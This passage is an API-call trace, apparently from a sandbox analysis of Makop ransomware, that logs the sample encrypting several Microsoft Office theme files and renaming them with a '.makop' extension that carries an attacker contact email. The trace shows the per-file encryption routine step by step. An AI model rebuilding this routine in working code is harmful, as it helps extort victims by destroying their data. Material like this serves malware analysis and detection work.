dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.520] GetProcessHeap () returned 0x48a0000 [0157.520] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.520] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.520] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.520] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xc, lpOverlapped=0x0) returned 1 [0157.524] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.524] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.525] GetProcessHeap () returned 0x48a0000 [0157.525] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.525] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0157.525] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.525] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0157.525] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.525] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.525] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.526] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.526] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.526] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.526] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.526] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.526] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16ef4, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x16ef4, lpOverlapped=0x0) returned 1 [0157.529] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x16f00, dwBufLen=0x16f00 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x16f00) returned 1 [0157.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.530] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16f00, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x16f00, lpOverlapped=0x0) returned 1 [0157.531] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.531] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x16fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.531] SetEndOfFile (hFile=0x124) returned 1 [0157.539] GetProcessHeap () returned 0x48a0000 [0157.539] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.539] GetProcessHeap () returned 0x48a0000 [0157.539] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.539] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0157.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.541] CloseHandle (hObject=0x124) returned 1 [0157.541] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0157.541] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx") returned 64 [0157.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.544] GetProcessHeap () returned 0x48a0000 [0157.544] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.544] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.544] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.544] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x5, lpOverlapped=0x0) returned 1 [0157.548] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.548] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.548] GetProcessHeap () returned 0x48a0000 [0157.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.548] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.548] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.548] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.548] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.549] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.549] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.549] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.549] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.549] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.549] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.549] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.549] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1540b, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x1540b, lpOverlapped=0x0) returned 1 [0157.553] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x15410, dwBufLen=0x15410 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x15410) returned 1 [0157.554] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.554] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15410, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x15410, lpOverlapped=0x0) returned 1 [0157.555] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.555] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x154e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.555] SetEndOfFile (hFile=0x124) returned 1 [0157.563] GetProcessHeap () returned 0x48a0000 [0157.563] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.563] GetProcessHeap () returned 0x48a0000 [0157.563] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.563] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0157.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.565] CloseHandle (hObject=0x124) returned 1 [0157.565] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0157.565] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx") returned 63 [0157.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.569] GetProcessHeap () returned 0x48a0000 [0157.569] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.569] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.569] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.569] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xa, lpOverlapped=0x0) returned 1 [0157.573] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.573] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.573] GetProcessHeap () returned 0x48a0000 [0157.573] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.573] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0157.573] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.573] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0157.573] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.574] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.574] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.574] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.574] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.574] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.574] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.575] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.575] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x421e6, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x421e6, lpOverlapped=0x0) returned 1 [0157.583] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x421f0, dwBufLen=0x421f0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x421f0) returned 1 [0157.586] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.586] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x421f0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x421f0, lpOverlapped=0x0) returned 1 [0157.588] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.588] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x422b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.589] SetEndOfFile (hFile=0x124) returned 1 [0157.595] GetProcessHeap () returned 0x48a0000 [0157.595] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.595] GetProcessHeap () returned 0x48a0000 [0157.595] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.595] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0157.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.597] CloseHandle (hObject=0x124) returned 1 [0157.597] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0157.597] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx") returned 69 [0157.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.600] GetProcessHeap () returned 0x48a0000 [0157.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.600] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.600] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.600] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0157.605] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.605] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.605] GetProcessHeap () returned 0x48a0000 [0157.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.605] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.605] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.605] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.605] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.605] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.606] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.606] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.606] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.606] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.606] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.606] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.606] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd15a, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd15a, lpOverlapped=0x0) returned 1 [0157.608] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd160, dwBufLen=0xd160 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd160) returned 1 [0157.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.609] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd160, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd160, lpOverlapped=0x0) returned 1 [0157.610] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.610] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.610] SetEndOfFile (hFile=0x124) returned 1 [0157.617] GetProcessHeap () returned 0x48a0000 [0157.617] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.617] GetProcessHeap () returned 0x48a0000 [0157.617] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.617] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0157.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.619] CloseHandle (hObject=0x124) returned 1 [0157.653] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0157.653] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx") returned 65 [0157.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 